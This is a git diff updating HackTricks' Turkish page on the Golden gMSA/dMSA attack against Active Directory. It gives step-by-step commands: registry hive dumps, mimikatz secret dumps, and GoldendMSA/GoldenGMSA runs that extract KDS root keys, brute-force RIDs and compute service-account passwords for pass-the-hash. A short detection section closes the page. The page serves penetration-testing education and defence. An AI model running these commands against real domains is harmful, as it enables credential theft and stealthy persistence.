mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/active-directory-methodology/golden-d
This commit is contained in:
parent
587d1676d8
commit
9a79125011
@ -9,33 +9,33 @@ Windows Yönetilen Hizmet Hesapları (MSA), parolalarını manuel olarak yönetm
|
||||
1. **gMSA** – grup Yönetilen Hizmet Hesabı – `msDS-GroupMSAMembership` niteliğinde yetkilendirilmiş birden fazla ana bilgisayarda kullanılabilir.
|
||||
2. **dMSA** – devredilmiş Yönetilen Hizmet Hesabı – gMSA'nın (önizleme) halefidir, aynı kriptografiye dayanır ancak daha ayrıntılı devretme senaryolarına izin verir.
|
||||
|
||||
Her iki varyant için de **parola her Domain Controller (DC)** üzerinde düzenli bir NT-hash gibi **saklanmaz**. Bunun yerine her DC, mevcut parolayı anlık olarak aşağıdakilerden türetebilir:
|
||||
Her iki varyant için de **parola her Domain Controller (DC)** üzerinde düzenli bir NT-hash gibi **saklanmaz**. Bunun yerine her DC, mevcut parolayı anlık olarak şu üç girdiden **türetebilir**:
|
||||
|
||||
* Orman genelinde **KDS Kök Anahtarı** (`KRBTGT\KDS`) – her DC'ye `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` konteyneri altında çoğaltılan rastgele oluşturulmuş GUID adlı gizli anahtar.
|
||||
* Orman genelinde **KDS Kök Anahtarı** (`KRBTGT\KDS`) – her DC'ye `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` konteyneri altında çoğaltılan rastgele oluşturulmuş GUID adında bir sır.
|
||||
* Hedef hesap **SID**.
|
||||
* `msDS-ManagedPasswordId` niteliğinde bulunan her hesap için bir **ManagedPasswordID** (GUID).
|
||||
|
||||
Türevleme: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 baytlık blob nihayetinde **base64-şifrelenir** ve `msDS-ManagedPassword` niteliğinde saklanır. Normal parola kullanımı sırasında Kerberos trafiği veya alan etkileşimi gerekmemektedir – bir üye ana bilgisayar, üç girdi bilindiği sürece parolayı yerel olarak türetebilir.
|
||||
Türevleme işlemi: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 baytlık blob nihayetinde **base64-şifrelenir** ve `msDS-ManagedPassword` niteliğinde saklanır. Normal parola kullanımı sırasında Kerberos trafiği veya alan etkileşimi gerekmemektedir – bir üye ana bilgisayar, üç girdi bilindiği sürece parolayı yerel olarak türetebilir.
|
||||
|
||||
## Golden gMSA / Golden dMSA Saldırısı
|
||||
|
||||
Bir saldırgan, tüm üç girdi **çevrimdışı** elde edebilirse, **orman içindeki herhangi bir gMSA/dMSA için geçerli mevcut ve gelecekteki parolaları** hesaplayabilir ve DC'ye tekrar dokunmadan, aşağıdakileri atlayarak:
|
||||
Eğer bir saldırgan tüm üç girdi **çevrimdışı** elde edebilirse, **orman içindeki herhangi bir gMSA/dMSA için geçerli mevcut ve gelecekteki parolaları** hesaplayabilir ve DC'ye tekrar dokunmadan şu yolları atlayabilir:
|
||||
|
||||
* Kerberos ön kimlik doğrulama / bilet talep günlükleri
|
||||
* LDAP okuma denetimi
|
||||
* Parola değiştirme aralıkları (önceden hesaplayabilirler)
|
||||
|
||||
Bu, hizmet hesapları için bir *Golden Ticket* ile benzerlik gösterir.
|
||||
Bu, hizmet hesapları için bir *Golden Ticket* ile benzerlik göstermektedir.
|
||||
|
||||
### Ön Koşullar
|
||||
|
||||
1. **Bir DC'nin** (veya Kurumsal Yönetici) **orman düzeyinde ele geçirilmesi**. `SYSTEM` erişimi yeterlidir.
|
||||
1. **Bir DC'nin (veya Enterprise Admin'in) orman düzeyinde ele geçirilmesi**, veya ormandaki DC'lerden birine `SYSTEM` erişimi.
|
||||
2. Hizmet hesaplarını listeleme yeteneği (LDAP okuma / RID brute-force).
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) veya eşdeğer kodu çalıştırmak için .NET ≥ 4.7.2 x64 iş istasyonu.
|
||||
|
||||
### Aşama 1 – KDS Kök Anahtarını Çıkar
|
||||
### Golden gMSA / dMSA
|
||||
##### Aşama 1 – KDS Kök Anahtarını Çıkar
|
||||
|
||||
Herhangi bir DC'den döküm (Hacim Gölgeleme Kopyası / ham SAM+SECURITY hives veya uzaktan gizli anahtarlar):
|
||||
Herhangi bir DC'den döküm alın (Hacim Gölge Kopyası / ham SAM+GÜVENLİK hives veya uzaktan sırlar):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
@ -43,16 +43,25 @@ reg save HKLM\SYSTEM system.hive
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
|
||||
# With GoldendMSA
|
||||
GoldendMSA.exe kds --domain <domain name> # query KDS root keys from a DC in the forest
|
||||
GoldendMSA.exe kds
|
||||
|
||||
# With GoldenGMSA
|
||||
GoldenGMSA.exe kdsinfo
|
||||
```
|
||||
`RootKey` (GUID adı) olarak etiketlenen base64 dizesi, sonraki adımlarda gereklidir.
|
||||
|
||||
### Aşama 2 – gMSA/dMSA nesnelerini listele
|
||||
##### Aşama 2 – gMSA / dMSA nesnelerini listele
|
||||
|
||||
En az `sAMAccountName`, `objectSid` ve `msDS-ManagedPasswordId` değerlerini al:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
|
||||
GoldenGMSA.exe gmsainfo
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) yardımcı modları uygular:
|
||||
```powershell
|
||||
@ -62,29 +71,27 @@ GoldendMSA.exe info -d example.local -m ldap
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Aşama 3 – Yönetilen Parola Kimliğini Tahmin Et / Keşfet (eksik olduğunda)
|
||||
##### Aşama 3 – Yönetilen Parola Kimliğini Tahmin Et / Keşfet (eksik olduğunda)
|
||||
|
||||
Bazı dağıtımlar `msDS-ManagedPasswordId`'yi ACL korumalı okumadan *çıkarır*.
|
||||
GUID 128 bit olduğundan, basit bir brute force uygulanabilir değildir, ancak:
|
||||
Bazı dağıtımlar `msDS-ManagedPasswordId`'yi ACL korumalı okumalarından *çıkarır*.
|
||||
GUID 128 bit olduğundan, naif brute force uygulanabilir değildir, ancak:
|
||||
|
||||
1. İlk **32 bit = Hesap oluşturma Unix epoch zamanı** (dakika çözünürlüğü).
|
||||
2. Ardından 96 rastgele bit gelir.
|
||||
|
||||
Bu nedenle, her hesap için **dar bir kelime listesi** (± birkaç saat) gerçekçidir.
|
||||
Bu nedenle, **her hesap için dar bir kelime listesi** (± birkaç saat) gerçekçidir.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
Arac, aday şifreleri hesaplar ve bunların base64 blob'unu gerçek `msDS-ManagedPassword` niteliği ile karşılaştırır – eşleşme doğru GUID'i ortaya çıkarır.
|
||||
Araç, aday şifreleri hesaplar ve bunların base64 blob'unu gerçek `msDS-ManagedPassword` niteliği ile karşılaştırır - eşleşme doğru GUID'i ortaya çıkarır.
|
||||
|
||||
### Aşama 4 – Çevrimdışı Şifre Hesaplama ve Dönüştürme
|
||||
##### Aşama 4 – Çevrimdışı Şifre Hesaplama ve Dönüştürme
|
||||
|
||||
ManagedPasswordID bilindiğinde, geçerli şifre bir komut uzaklıktadır:
|
||||
ManagedPasswordID bilindiğinde, geçerli şifre bir komut kadar yakındır:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
|
||||
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>
|
||||
```
|
||||
Sonuçta elde edilen hash'ler, gizli **lateral movement** ve **persistence** sağlamak için **mimikatz** (`sekurlsa::pth`) veya **Rubeus** ile enjekte edilebilir.
|
||||
|
||||
@ -92,19 +99,21 @@ Sonuçta elde edilen hash'ler, gizli **lateral movement** ve **persistence** sa
|
||||
|
||||
* **DC yedekleme ve kayıt defteri hives okuma** yetkilerini Tier-0 yöneticileri ile sınırlayın.
|
||||
* DC'lerde **Directory Services Restore Mode (DSRM)** veya **Volume Shadow Copy** oluşturulmasını izleyin.
|
||||
* `CN=Master Root Keys,…` ve hizmet hesaplarının `userAccountControl` bayraklarındaki okuma / değişiklikleri denetleyin.
|
||||
* Hizmet hesaplarının `CN=Master Root Keys,…` ve `userAccountControl` bayraklarına yapılan okuma / değişiklikleri denetleyin.
|
||||
* Alışılmadık **base64 şifre yazımları** veya aniden hizmet şifresinin birden fazla hostta yeniden kullanılmasını tespit edin.
|
||||
* Tier-0 izolasyonunun mümkün olmadığı durumlarda yüksek ayrıcalıklı gMSA'ları, düzenli rastgele döngülerle **klasik hizmet hesaplarına** dönüştürmeyi düşünün.
|
||||
|
||||
## Araçlar
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – bu sayfada kullanılan referans uygulaması.
|
||||
* [`Semperis/GoldenGMSA`](https://github.com/Semperis/GoldenGMSA/) – bu sayfada kullanılan referans uygulaması.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – türetilmiş AES anahtarları kullanarak bilet geçişi.
|
||||
* [`Rubeus`](https://github.com/GhostPack/Rubeus) – türetilmiş AES anahtarları kullanarak pass-the-ticket.
|
||||
|
||||
## Referanslar
|
||||
|
||||
- [Golden dMSA – yetkilendirme atlatma için devredilen Yönetilen Hizmet Hesapları](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/)
|
||||
- [gMSA Active Directory Saldırı Hesapları](https://www.semperis.com/blog/golden-gmsa-attack/)
|
||||
- [Semperis/GoldenDMSA GitHub deposu](https://github.com/Semperis/GoldenDMSA)
|
||||
- [Improsec – Golden gMSA güven saldırısı](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user